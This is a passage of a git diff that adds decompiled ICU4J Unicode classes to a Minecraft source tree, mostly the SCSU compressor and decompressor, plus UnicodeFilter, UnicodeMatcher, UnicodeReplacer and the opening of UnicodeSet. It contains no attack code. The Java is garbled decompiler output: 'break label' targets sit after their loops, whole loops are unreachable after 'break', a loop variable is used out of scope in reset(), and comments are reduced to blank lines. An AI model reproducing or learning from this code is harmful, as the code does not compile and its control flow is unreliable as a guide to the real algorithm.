+  private int[] fIndexCount = new int['Ā'];
+  
+
+  private int[] fTimeStamps = new int[8];
+  
+
+  private int fTimeStamp = 0;
+  
+
+
+
+
+
+
+
+  public UnicodeCompressor()
+  {
+    reset();
+  }
+  
+
+
+
+
+
+
+
+  public static byte[] compress(String buffer)
+  {
+    return compress(buffer.toCharArray(), 0, buffer.length());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static byte[] compress(char[] buffer, int start, int limit)
+  {
+    UnicodeCompressor comp = new UnicodeCompressor();
+    
+
+
+
+
+
+    int len = Math.max(4, 3 * (limit - start) + 1);
+    byte[] temp = new byte[len];
+    
+    int byteCount = comp.compress(buffer, start, limit, null, temp, 0, len);
+    
+
+    byte[] result = new byte[byteCount];
+    System.arraycopy(temp, 0, result, 0, byteCount);
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int compress(char[] charBuffer, int charBufferStart, int charBufferLimit, int[] charsRead, byte[] byteBuffer, int byteBufferStart, int byteBufferLimit)
+  {
+    int bytePos = byteBufferStart;
+    
+
+    int ucPos = charBufferStart;
+    
+
+    int curUC = -1;
+    
+
+    int curIndex = -1;
+    
+
+    int nextUC = -1;
+    int forwardUC = -1;
+    
+
+    int whichWindow = 0;
+    
+
+    int hiByte = 0;
+    int loByte = 0;
+    
+
+
+    if ((byteBuffer.length < 4) || (byteBufferLimit - byteBufferStart < 4)) {
+      throw new IllegalArgumentException("byteBuffer.length < 4");
+    }
+    
+    while ((ucPos < charBufferLimit) && (bytePos < byteBufferLimit))
+      switch (fMode)
+      {
+      case 0: 
+      case 1: 
+        while ((ucPos < charBufferLimit) && (bytePos < byteBufferLimit))
+        {
+          curUC = charBuffer[(ucPos++)];
+          
+
+          if (ucPos < charBufferLimit) {
+            nextUC = charBuffer[ucPos];
+          } else {
+            nextUC = -1;
+          }
+          
+
+          if (curUC < 128) {
+            loByte = curUC & 0xFF;
+            
+
+
+
+            if (sSingleTagTable[loByte] != 0)
+            {
+
+
+              if (bytePos + 1 >= byteBufferLimit) {
+                ucPos--;
+                
+                break label1668;
+              }
+              byteBuffer[(bytePos++)] = 1;
+            }
+            
+            byteBuffer[(bytePos++)] = ((byte)loByte);
+
+
+
+
+          }
+          else if (inDynamicWindow(curUC, fCurrentWindow)) {
+            byteBuffer[(bytePos++)] = ((byte)(curUC - fOffsets[fCurrentWindow] + 128));
+
+
+
+
+
+          }
+          else if (!isCompressible(curUC))
+          {
+            if ((nextUC != -1) && (isCompressible(nextUC)))
+            {
+
+
+
+              if (bytePos + 2 >= byteBufferLimit) {
+                ucPos--;
+                break label1668; }
+              byteBuffer[(bytePos++)] = 14;
+              byteBuffer[(bytePos++)] = ((byte)(curUC >>> 8));
+              byteBuffer[(bytePos++)] = ((byte)(curUC & 0xFF));
+
+            }
+            else
+            {
+
+              if (bytePos + 3 >= byteBufferLimit) {
+                ucPos--;
+                break label1668; }
+              byteBuffer[(bytePos++)] = 15;
+              
+              hiByte = curUC >>> 8;
+              loByte = curUC & 0xFF;
+              
+              if (sUnicodeTagTable[hiByte] != 0)
+              {
+                byteBuffer[(bytePos++)] = -16;
+              }
+              byteBuffer[(bytePos++)] = ((byte)hiByte);
+              byteBuffer[(bytePos++)] = ((byte)loByte);
+              
+              fMode = 1;
+
+
+            }
+            
+
+
+          }
+          else if ((whichWindow = findDynamicWindow(curUC)) != -1)
+          {
+
+            if (ucPos + 1 < charBufferLimit) {
+              forwardUC = charBuffer[(ucPos + 1)];
+            } else {
+              forwardUC = -1;
+            }
+            
+
+
+            if ((inDynamicWindow(nextUC, whichWindow)) && (inDynamicWindow(forwardUC, whichWindow)))
+            {
+
+
+
+              if (bytePos + 1 >= byteBufferLimit) {
+                ucPos--;
+                break label1668; }
+              byteBuffer[(bytePos++)] = ((byte)(16 + whichWindow));
+              byteBuffer[(bytePos++)] = ((byte)(curUC - fOffsets[whichWindow] + 128));
+              
+
+              fTimeStamps[whichWindow] = (++fTimeStamp);
+              fCurrentWindow = whichWindow;
+
+
+
+            }
+            else
+            {
+
+
+              if (bytePos + 1 >= byteBufferLimit) {
+                ucPos--;
+                break label1668; }
+              byteBuffer[(bytePos++)] = ((byte)(1 + whichWindow));
+              byteBuffer[(bytePos++)] = ((byte)(curUC - fOffsets[whichWindow] + 128));
+
+
+
+            }
+            
+
+
+
+          }
+          else if (((whichWindow = findStaticWindow(curUC)) != -1) && (!inStaticWindow(nextUC, whichWindow)))
+          {
+
+
+
+
+            if (bytePos + 1 >= byteBufferLimit) {
+              ucPos--;
+              break label1668; }
+            byteBuffer[(bytePos++)] = ((byte)(1 + whichWindow));
+            byteBuffer[(bytePos++)] = ((byte)(curUC - sOffsets[whichWindow]));
+
+
+          }
+          else
+          {
+
+
+            curIndex = makeIndex(curUC);
+            fIndexCount[curIndex] += 1;
+            
+
+            if (ucPos + 1 < charBufferLimit) {
+              forwardUC = charBuffer[(ucPos + 1)];
+            } else {
+              forwardUC = -1;
+            }
+            
+
+
+
+
+
+            if ((fIndexCount[curIndex] > 1) || ((curIndex == makeIndex(nextUC)) && (curIndex == makeIndex(forwardUC))))
+            {
+
+
+
+
+              if (bytePos + 2 >= byteBufferLimit) {
+                ucPos--;
+                break label1668;
+              }
+              whichWindow = getLRDefinedWindow();
+              
+              byteBuffer[(bytePos++)] = ((byte)(24 + whichWindow));
+              byteBuffer[(bytePos++)] = ((byte)curIndex);
+              byteBuffer[(bytePos++)] = ((byte)(curUC - sOffsetTable[curIndex] + 128));
+              
+
+
+              fOffsets[whichWindow] = sOffsetTable[curIndex];
+              fCurrentWindow = whichWindow;
+              fTimeStamps[whichWindow] = (++fTimeStamp);
+
+
+
+
+
+            }
+            else
+            {
+
+
+
+
+              if (bytePos + 3 >= byteBufferLimit) {
+                ucPos--;
+                break label1668; }
+              byteBuffer[(bytePos++)] = 15;
+              
+              hiByte = curUC >>> 8;
+              loByte = curUC & 0xFF;
+              
+              if (sUnicodeTagTable[hiByte] != 0)
+              {
+                byteBuffer[(bytePos++)] = -16;
+              }
+              byteBuffer[(bytePos++)] = ((byte)hiByte);
+              byteBuffer[(bytePos++)] = ((byte)loByte);
+              
+              fMode = 1;
+              break;
+              
+
+
+
+
+
+
+
+              while ((ucPos < charBufferLimit) && (bytePos < byteBufferLimit))
+              {
+                curUC = charBuffer[(ucPos++)];
+                
+
+                if (ucPos < charBufferLimit) {
+                  nextUC = charBuffer[ucPos];
+                } else {
+                  nextUC = -1;
+                }
+                
+
+                if ((!isCompressible(curUC)) || ((nextUC != -1) && (!isCompressible(nextUC))))
+                {
+
+
+                  if (bytePos + 2 >= byteBufferLimit) {
+                    ucPos--;
+                    break label1668; }
+                  hiByte = curUC >>> 8;
+                  loByte = curUC & 0xFF;
+                  
+                  if (sUnicodeTagTable[hiByte] != 0)
+                  {
+                    byteBuffer[(bytePos++)] = -16;
+                  }
+                  byteBuffer[(bytePos++)] = ((byte)hiByte);
+                  byteBuffer[(bytePos++)] = ((byte)loByte);
+
+
+
+                }
+                else if (curUC < 128) {
+                  loByte = curUC & 0xFF;
+                  
+
+
+
+                  if ((nextUC != -1) && (nextUC < 128) && (sSingleTagTable[loByte] == 0))
+                  {
+
+
+
+                    if (bytePos + 1 >= byteBufferLimit) {
+                      ucPos--;
+                      break label1668;
+                    }
+                    whichWindow = fCurrentWindow;
+                    byteBuffer[(bytePos++)] = ((byte)(224 + whichWindow));
+                    byteBuffer[(bytePos++)] = ((byte)loByte);
+                    
+
+                    fTimeStamps[whichWindow] = (++fTimeStamp);
+                    fMode = 0;
+                    break;
+                  }
+                  
+
+
+
+
+
+
+
+                  if (bytePos + 1 >= byteBufferLimit) {
+                    ucPos--;
+                    
+                    break label1668;
+                  }
+                  
+                  byteBuffer[(bytePos++)] = 0;
+                  byteBuffer[(bytePos++)] = ((byte)loByte);
+
+
+
+                }
+                else if ((whichWindow = findDynamicWindow(curUC)) != -1)
+                {
+
+
+
+                  if (inDynamicWindow(nextUC, whichWindow))
+                  {
+
+
+                    if (bytePos + 1 >= byteBufferLimit) {
+                      ucPos--;
+                      break label1668; }
+                    byteBuffer[(bytePos++)] = ((byte)(224 + whichWindow));
+                    byteBuffer[(bytePos++)] = ((byte)(curUC - fOffsets[whichWindow] + 128));
+                    
+
+
+                    fTimeStamps[whichWindow] = (++fTimeStamp);
+                    fCurrentWindow = whichWindow;
+                    fMode = 0;
+                    break;
+                  }
+                  
+
+
+
+
+
+
+                  if (bytePos + 2 >= byteBufferLimit) {
+                    ucPos--;
+                    break label1668; }
+                  hiByte = curUC >>> 8;
+                  loByte = curUC & 0xFF;
+                  
+                  if (sUnicodeTagTable[hiByte] != 0)
+                  {
+                    byteBuffer[(bytePos++)] = -16;
+                  }
+                  byteBuffer[(bytePos++)] = ((byte)hiByte);
+                  byteBuffer[(bytePos++)] = ((byte)loByte);
+
+
+                }
+                else
+                {
+
+                  curIndex = makeIndex(curUC);
+                  fIndexCount[curIndex] += 1;
+                  
+
+                  if (ucPos + 1 < charBufferLimit) {
+                    forwardUC = charBuffer[(ucPos + 1)];
+                  } else {
+                    forwardUC = -1;
+                  }
+                  
+
+
+
+
+
+
+                  if ((fIndexCount[curIndex] > 1) || ((curIndex == makeIndex(nextUC)) && (curIndex == makeIndex(forwardUC))))
+                  {
+
+
+
+
+
+                    if (bytePos + 2 >= byteBufferLimit) {
+                      ucPos--;
+                      break label1668;
+                    }
+                    whichWindow = getLRDefinedWindow();
+                    
+                    byteBuffer[(bytePos++)] = ((byte)(232 + whichWindow));
+                    byteBuffer[(bytePos++)] = ((byte)curIndex);
+                    byteBuffer[(bytePos++)] = ((byte)(curUC - sOffsetTable[curIndex] + 128));
+                    
+
+
+                    fOffsets[whichWindow] = sOffsetTable[curIndex];
+                    fCurrentWindow = whichWindow;
+                    fTimeStamps[whichWindow] = (++fTimeStamp);
+                    fMode = 0;
+                    break;
+                  }
+                  
+
+
+
+
+
+
+
+                  if (bytePos + 2 >= byteBufferLimit) {
+                    ucPos--;
+                    break label1668; }
+                  hiByte = curUC >>> 8;
+                  loByte = curUC & 0xFF;
+                  
+                  if (sUnicodeTagTable[hiByte] != 0)
+                  {
+                    byteBuffer[(bytePos++)] = -16;
+                  }
+                  byteBuffer[(bytePos++)] = ((byte)hiByte);
+                  byteBuffer[(bytePos++)] = ((byte)loByte);
+                }
+              }
+            }
+          }
+        }
+      }
+    label1668:
+    if (charsRead != null) {
+      charsRead[0] = (ucPos - charBufferStart);
+    }
+    
+    return bytePos - byteBufferStart;
+  }
+  
+
+
+
+
+
+
+
+  public void reset()
+  {
+    fOffsets[0] = 128;
+    fOffsets[1] = 192;
+    fOffsets[2] = 1024;
+    fOffsets[3] = 1536;
+    fOffsets[4] = 2304;
+    fOffsets[5] = 12352;
+    fOffsets[6] = 12448;
+    fOffsets[7] = 65280;
+    
+
+
+    for (int i = 0; i < 8; i++) {
+      fTimeStamps[i] = 0;
+    }
+    
+
+    for (i = 0; i <= 255; i++) {
+      fIndexCount[i] = 0;
+    }
+    
+    fTimeStamp = 0;
+    fCurrentWindow = 0;
+    fMode = 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  private static int makeIndex(int c)
+  {
+    if ((c >= 192) && (c < 320))
+      return 249;
+    if ((c >= 592) && (c < 720))
+      return 250;
+    if ((c >= 880) && (c < 1008))
+      return 251;
+    if ((c >= 1328) && (c < 1424))
+      return 252;
+    if ((c >= 12352) && (c < 12448))
+      return 253;
+    if ((c >= 12448) && (c < 12576))
+      return 254;
+    if ((c >= 65376) && (c < 65439)) {
+      return 255;
+    }
+    
+    if ((c >= 128) && (c < 13312))
+      return c / 128 & 0xFF;
+    if ((c >= 57344) && (c <= 65535)) {
+      return (c - 44032) / 128 & 0xFF;
+    }
+    
+
+    return 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private boolean inDynamicWindow(int c, int whichWindow)
+  {
+    return (c >= fOffsets[whichWindow]) && (c < fOffsets[whichWindow] + 128);
+  }
+  
+
+
+
+
+
+
+
+
+
+  private static boolean inStaticWindow(int c, int whichWindow)
+  {
+    return (c >= sOffsets[whichWindow]) && (c < sOffsets[whichWindow] + 128);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  private static boolean isCompressible(int c)
+  {
+    return (c < 13312) || (c >= 57344);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  private int findDynamicWindow(int c)
+  {
+    for (int i = 7; i >= 0; i--) {
+      if (inDynamicWindow(c, i)) {
+        fTimeStamps[i] += 1;
+        return i;
+      }
+    }
+    
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+
+  private static int findStaticWindow(int c)
+  {
+    for (int i = 7; i >= 0; i--) {
+      if (inStaticWindow(c, i)) {
+        return i;
+      }
+    }
+    
+    return -1;
+  }
+  
+
+
+
+
+
+  private int getLRDefinedWindow()
+  {
+    int leastRU = Integer.MAX_VALUE;
+    int whichWindow = -1;
+    
+
+
+
+    for (int i = 7; i >= 0; i--) {
+      if (fTimeStamps[i] < leastRU) {
+        leastRU = fTimeStamps[i];
+        whichWindow = i;
+      }
+    }
+    
+    return whichWindow;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/UnicodeDecompressor.java b/src/minecraft/com/ibm/icu/text/UnicodeDecompressor.java
new file mode 100644
index 0000000..2a33a07
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/UnicodeDecompressor.java
@@ -0,0 +1,557 @@
+package com.ibm.icu.text;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class UnicodeDecompressor
+  implements SCSU
+{
+  private int fCurrentWindow = 0;
+  
+
+  private int[] fOffsets = new int[8];
+  
+
+  private int fMode = 0;
+  
+
+  private static final int BUFSIZE = 3;
+  
+
+  private byte[] fBuffer = new byte[3];
+  
+
+  private int fBufferLength = 0;
+  
+
+
+
+
+
+
+  public UnicodeDecompressor()
+  {
+    reset();
+  }
+  
+
+
+
+
+
+
+  public static String decompress(byte[] buffer)
+  {
+    char[] buf = decompress(buffer, 0, buffer.length);
+    return new String(buf);
+  }
+  
+
+
+
+
+
+
+
+
+  public static char[] decompress(byte[] buffer, int start, int limit)
+  {
+    UnicodeDecompressor comp = new UnicodeDecompressor();
+    
+
+
+
+    int len = Math.max(2, 2 * (limit - start));
+    char[] temp = new char[len];
+    
+    int charCount = comp.decompress(buffer, start, limit, null, temp, 0, len);
+    
+
+    char[] result = new char[charCount];
+    System.arraycopy(temp, 0, result, 0, charCount);
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int decompress(byte[] byteBuffer, int byteBufferStart, int byteBufferLimit, int[] bytesRead, char[] charBuffer, int charBufferStart, int charBufferLimit)
+  {
+    int bytePos = byteBufferStart;
+    
+
+    int ucPos = charBufferStart;
+    
+
+    int aByte = 0;
+    
+
+
+    if ((charBuffer.length < 2) || (charBufferLimit - charBufferStart < 2)) {
+      throw new IllegalArgumentException("charBuffer.length < 2");
+    }
+    
+
+    if (fBufferLength > 0)
+    {
+      int newBytes = 0;
+      
+
+      if (fBufferLength != 3) {
+        newBytes = fBuffer.length - fBufferLength;
+        
+
+        if (byteBufferLimit - byteBufferStart < newBytes) {
+          newBytes = byteBufferLimit - byteBufferStart;
+        }
+        System.arraycopy(byteBuffer, byteBufferStart, fBuffer, fBufferLength, newBytes);
+      }
+      
+
+
+      fBufferLength = 0;
+      
+
+      int count = decompress(fBuffer, 0, fBuffer.length, null, charBuffer, charBufferStart, charBufferLimit);
+      
+
+
+
+      ucPos += count;
+      bytePos += newBytes;
+    }
+    
+
+
+    while ((bytePos < byteBufferLimit) && (ucPos < charBufferLimit)) {
+      switch (fMode)
+      {
+      case 0: 
+      case 1: 
+        while ((bytePos < byteBufferLimit) && (ucPos < charBufferLimit)) {
+          aByte = byteBuffer[(bytePos++)] & 0xFF;
+          switch (aByte) {
+          case 128: case 129: case 130: case 131: 
+          case 132: case 133: case 134: case 135: 
+          case 136: case 137: case 138: case 139: 
+          case 140: case 141: case 142: case 143: 
+          case 144: case 145: case 146: case 147: 
+          case 148: case 149: case 150: case 151: 
+          case 152: case 153: case 154: case 155: 
+          case 156: case 157: case 158: case 159: 
+          case 160: case 161: case 162: case 163: 
+          case 164: case 165: case 166: case 167: 
+          case 168: case 169: case 170: case 171: 
+          case 172: case 173: case 174: case 175: 
+          case 176: case 177: case 178: case 179: 
+          case 180: case 181: case 182: case 183: 
+          case 184: case 185: case 186: case 187: 
+          case 188: case 189: case 190: case 191: 
+          case 192: case 193: case 194: case 195: 
+          case 196: case 197: case 198: case 199: 
+          case 200: case 201: case 202: case 203: 
+          case 204: case 205: case 206: case 207: 
+          case 208: case 209: case 210: case 211: 
+          case 212: case 213: case 214: case 215: 
+          case 216: case 217: case 218: case 219: 
+          case 220: case 221: case 222: case 223: 
+          case 224: case 225: case 226: case 227: 
+          case 228: case 229: case 230: case 231: 
+          case 232: case 233: case 234: case 235: 
+          case 236: case 237: case 238: case 239: 
+          case 240: case 241: case 242: case 243: 
+          case 244: case 245: case 246: case 247: 
+          case 248: case 249: case 250: case 251: 
+          case 252: case 253: case 254: case 255: 
+            if (fOffsets[fCurrentWindow] <= 65535) {
+              charBuffer[(ucPos++)] = ((char)(aByte + fOffsets[fCurrentWindow] - 128));
+
+
+
+
+            }
+            else
+            {
+
+
+
+
+              if (ucPos + 1 >= charBufferLimit) {
+                bytePos--;
+                System.arraycopy(byteBuffer, bytePos, fBuffer, 0, byteBufferLimit - bytePos);
+                
+
+                fBufferLength = (byteBufferLimit - bytePos);
+                bytePos += fBufferLength;
+                
+                break label2307;
+              }
+              int normalizedBase = fOffsets[fCurrentWindow] - 65536;
+              
+              charBuffer[(ucPos++)] = ((char)(55296 + (normalizedBase >> 10)));
+              
+              charBuffer[(ucPos++)] = ((char)(56320 + (normalizedBase & 0x3FF) + (aByte & 0x7F)));
+            }
+            
+            break;
+          case 0: case 9: case 10: case 13: 
+          case 32: case 33: case 34: case 35: 
+          case 36: case 37: case 38: case 39: 
+          case 40: case 41: case 42: case 43: 
+          case 44: case 45: case 46: case 47: 
+          case 48: case 49: case 50: case 51: 
+          case 52: case 53: case 54: case 55: 
+          case 56: case 57: case 58: case 59: 
+          case 60: case 61: case 62: case 63: 
+          case 64: case 65: case 66: case 67: 
+          case 68: case 69: case 70: case 71: 
+          case 72: case 73: case 74: case 75: 
+          case 76: case 77: case 78: case 79: 
+          case 80: case 81: case 82: case 83: 
+          case 84: case 85: case 86: case 87: 
+          case 88: case 89: case 90: case 91: 
+          case 92: case 93: case 94: case 95: 
+          case 96: case 97: case 98: case 99: 
+          case 100: case 101: case 102: case 103: 
+          case 104: case 105: case 106: 
+          case 107: case 108: case 109: 
+          case 110: case 111: case 112: 
+          case 113: case 114: case 115: 
+          case 116: case 117: case 118: 
+          case 119: case 120: case 121: 
+          case 122: case 123: case 124: 
+          case 125: case 126: case 127: 
+            charBuffer[(ucPos++)] = ((char)aByte);
+            break;
+          
+
+
+
+          case 14: 
+            if (bytePos + 1 >= byteBufferLimit) {
+              bytePos--;
+              System.arraycopy(byteBuffer, bytePos, fBuffer, 0, byteBufferLimit - bytePos);
+              
+
+              fBufferLength = (byteBufferLimit - bytePos);
+              bytePos += fBufferLength;
+              
+              break label2307;
+            }
+            aByte = byteBuffer[(bytePos++)];
+            charBuffer[(ucPos++)] = ((char)(aByte << 8 | byteBuffer[(bytePos++)] & 0xFF));
+            
+            break;
+          
+
+          case 15: 
+            fMode = 1;
+            break;
+          case 1: case 2: 
+          case 3: 
+          case 4: 
+          case 5: 
+          case 6: 
+          case 7: 
+          case 8: 
+            if (bytePos >= byteBufferLimit) {
+              bytePos--;
+              System.arraycopy(byteBuffer, bytePos, fBuffer, 0, byteBufferLimit - bytePos);
+              
+
+              fBufferLength = (byteBufferLimit - bytePos);
+              bytePos += fBufferLength;
+              
+
+              break label2307;
+            }
+            
+            int dByte = byteBuffer[(bytePos++)] & 0xFF;
+            charBuffer[(ucPos++)] = ((char)(dByte + ((dByte >= 0) && (dByte < 128) ? sOffsets[(aByte - 1)] : fOffsets[(aByte - 1)] - 128)));
+            
+
+
+
+            break;
+          case 16: case 17: 
+          case 18: case 19: 
+          case 20: case 21: 
+          case 22: case 23: 
+            fCurrentWindow = (aByte - 16);
+            break;
+          case 24: case 25: 
+          case 26: case 27: 
+          case 28: 
+          case 29: 
+          case 30: 
+          case 31: 
+            if (bytePos >= byteBufferLimit) {
+              bytePos--;
+              System.arraycopy(byteBuffer, bytePos, fBuffer, 0, byteBufferLimit - bytePos);
+              
+
+              fBufferLength = (byteBufferLimit - bytePos);
+              bytePos += fBufferLength;
+              
+              break label2307;
+            }
+            fCurrentWindow = (aByte - 24);
+            fOffsets[fCurrentWindow] = sOffsetTable[(byteBuffer[(bytePos++)] & 0xFF)];
+            
+            break;
+          
+
+
+
+          case 11: 
+            if (bytePos + 1 >= byteBufferLimit) {
+              bytePos--;
+              System.arraycopy(byteBuffer, bytePos, fBuffer, 0, byteBufferLimit - bytePos);
+              
+
+              fBufferLength = (byteBufferLimit - bytePos);
+              bytePos += fBufferLength;
+              
+              break label2307;
+            }
+            aByte = byteBuffer[(bytePos++)] & 0xFF;
+            fCurrentWindow = ((aByte & 0xE0) >> 5);
+            fOffsets[fCurrentWindow] = (65536 + 128 * ((aByte & 0x1F) << 8 | byteBuffer[(bytePos++)] & 0xFF));
+            
+
+            break;
+          }
+          
+          
+          continue;
+          
+
+
+
+
+
+
+
+          while ((bytePos < byteBufferLimit) && (ucPos < charBufferLimit)) {
+            aByte = byteBuffer[(bytePos++)] & 0xFF;
+            switch (aByte) {
+            case 232: case 233: 
+            case 234: case 235: 
+            case 236: case 237: 
+            case 238: 
+            case 239: 
+              if (bytePos >= byteBufferLimit) {
+                bytePos--;
+                System.arraycopy(byteBuffer, bytePos, fBuffer, 0, byteBufferLimit - bytePos);
+                
+
+                fBufferLength = (byteBufferLimit - bytePos);
+                bytePos += fBufferLength;
+                
+                break label2307;
+              }
+              fCurrentWindow = (aByte - 232);
+              fOffsets[fCurrentWindow] = sOffsetTable[(byteBuffer[(bytePos++)] & 0xFF)];
+              
+              fMode = 0;
+              break;
+            
+
+
+
+
+            case 241: 
+              if (bytePos + 1 >= byteBufferLimit) {
+                bytePos--;
+                System.arraycopy(byteBuffer, bytePos, fBuffer, 0, byteBufferLimit - bytePos);
+                
+
+                fBufferLength = (byteBufferLimit - bytePos);
+                bytePos += fBufferLength;
+                
+                break label2307;
+              }
+              aByte = byteBuffer[(bytePos++)] & 0xFF;
+              fCurrentWindow = ((aByte & 0xE0) >> 5);
+              fOffsets[fCurrentWindow] = (65536 + 128 * ((aByte & 0x1F) << 8 | byteBuffer[(bytePos++)] & 0xFF));
+              
+
+              fMode = 0;
+              break;
+            case 224: case 225: 
+            case 226: case 227: 
+            case 228: case 229: 
+            case 230: 
+            case 231: 
+              fCurrentWindow = (aByte - 224);
+              fMode = 0;
+              break;
+            
+
+
+
+
+            case 240: 
+              if (bytePos >= byteBufferLimit - 1) {
+                bytePos--;
+                System.arraycopy(byteBuffer, bytePos, fBuffer, 0, byteBufferLimit - bytePos);
+                
+
+                fBufferLength = (byteBufferLimit - bytePos);
+                bytePos += fBufferLength;
+                
+                break label2307;
+              }
+              aByte = byteBuffer[(bytePos++)];
+              charBuffer[(ucPos++)] = ((char)(aByte << 8 | byteBuffer[(bytePos++)] & 0xFF));
+              
+              break;
+            
+
+
+            default: 
+              if (bytePos >= byteBufferLimit) {
+                bytePos--;
+                System.arraycopy(byteBuffer, bytePos, fBuffer, 0, byteBufferLimit - bytePos);
+                
+
+                fBufferLength = (byteBufferLimit - bytePos);
+                bytePos += fBufferLength;
+                
+                break label2307;
+              }
+              charBuffer[(ucPos++)] = ((char)(aByte << 8 | byteBuffer[(bytePos++)] & 0xFF));
+            }
+            
+          }
+        }
+      }
+      
+    }
+    
+
+    label2307:
+    
+    if (bytesRead != null) {
+      bytesRead[0] = (bytePos - byteBufferStart);
+    }
+    
+    return ucPos - charBufferStart;
+  }
+  
+
+
+
+
+
+  public void reset()
+  {
+    fOffsets[0] = 128;
+    fOffsets[1] = 192;
+    fOffsets[2] = 1024;
+    fOffsets[3] = 1536;
+    fOffsets[4] = 2304;
+    fOffsets[5] = 12352;
+    fOffsets[6] = 12448;
+    fOffsets[7] = 65280;
+    
+
+    fCurrentWindow = 0;
+    fMode = 0;
+    fBufferLength = 0;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/UnicodeFilter.java b/src/minecraft/com/ibm/icu/text/UnicodeFilter.java
new file mode 100644
index 0000000..4da6193
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/UnicodeFilter.java
@@ -0,0 +1,64 @@
+package com.ibm.icu.text;
+
+
+
+
+
+
+
+
+
+
+
+public abstract class UnicodeFilter
+  implements UnicodeMatcher
+{
+  public abstract boolean contains(int paramInt);
+  
+
+
+
+
+
+
+
+
+
+  public int matches(Replaceable text, int[] offset, int limit, boolean incremental)
+  {
+    int c;
+    
+
+
+
+
+
+
+
+
+    if ((offset[0] < limit) && (contains(c = text.char32At(offset[0]))))
+    {
+      offset[0] += UTF16.getCharCount(c);
+      return 2;
+    }
+    if ((offset[0] > limit) && (contains(text.char32At(offset[0]))))
+    {
+
+
+      offset[0] -= 1;
+      if (offset[0] >= 0) {
+        offset[0] -= UTF16.getCharCount(text.char32At(offset[0])) - 1;
+      }
+      return 2;
+    }
+    if ((incremental) && (offset[0] == limit)) {
+      return 1;
+    }
+    return 0;
+  }
+  
+  /**
+   * @deprecated
+   */
+  protected UnicodeFilter() {}
+}
diff --git a/src/minecraft/com/ibm/icu/text/UnicodeMatcher.java b/src/minecraft/com/ibm/icu/text/UnicodeMatcher.java
new file mode 100644
index 0000000..62acdf5
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/UnicodeMatcher.java
@@ -0,0 +1,17 @@
+package com.ibm.icu.text;
+
+public abstract interface UnicodeMatcher
+{
+  public static final int U_MISMATCH = 0;
+  public static final int U_PARTIAL_MATCH = 1;
+  public static final int U_MATCH = 2;
+  public static final char ETHER = '￿';
+  
+  public abstract int matches(Replaceable paramReplaceable, int[] paramArrayOfInt, int paramInt, boolean paramBoolean);
+  
+  public abstract String toPattern(boolean paramBoolean);
+  
+  public abstract boolean matchesIndexValue(int paramInt);
+  
+  public abstract void addMatchSetTo(UnicodeSet paramUnicodeSet);
+}
diff --git a/src/minecraft/com/ibm/icu/text/UnicodeReplacer.java b/src/minecraft/com/ibm/icu/text/UnicodeReplacer.java
new file mode 100644
index 0000000..8a25da2
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/UnicodeReplacer.java
@@ -0,0 +1,10 @@
+package com.ibm.icu.text;
+
+abstract interface UnicodeReplacer
+{
+  public abstract int replace(Replaceable paramReplaceable, int paramInt1, int paramInt2, int[] paramArrayOfInt);
+  
+  public abstract String toReplacerPattern(boolean paramBoolean);
+  
+  public abstract void addReplacementSetTo(UnicodeSet paramUnicodeSet);
+}
diff --git a/src/minecraft/com/ibm/icu/text/UnicodeSet.java b/src/minecraft/com/ibm/icu/text/UnicodeSet.java
new file mode 100644
index 0000000..8058e7b
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/UnicodeSet.java
@@ -0,0 +1,4602 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.BMPSet;
+import com.ibm.icu.impl.Norm2AllModes;
+import com.ibm.icu.impl.Normalizer2Impl;
+import com.ibm.icu.impl.PatternProps;
+import com.ibm.icu.impl.RuleCharacterIterator;
+import com.ibm.icu.impl.SortedSetRelation;
+import com.ibm.icu.impl.UBiDiProps;
+import com.ibm.icu.impl.UCaseProps;
+import com.ibm.icu.impl.UCharacterProperty;
+import com.ibm.icu.impl.UPropertyAliases;
+import com.ibm.icu.impl.UnicodeSetStringSpan;
+import com.ibm.icu.impl.Utility;
+import com.ibm.icu.lang.CharSequences;
+import com.ibm.icu.lang.UCharacter;
+import com.ibm.icu.lang.UScript;
+import com.ibm.icu.util.Freezable;
+import com.ibm.icu.util.ULocale;
+import com.ibm.icu.util.VersionInfo;
+import java.text.ParsePosition;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.TreeSet;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class UnicodeSet
+  extends UnicodeFilter
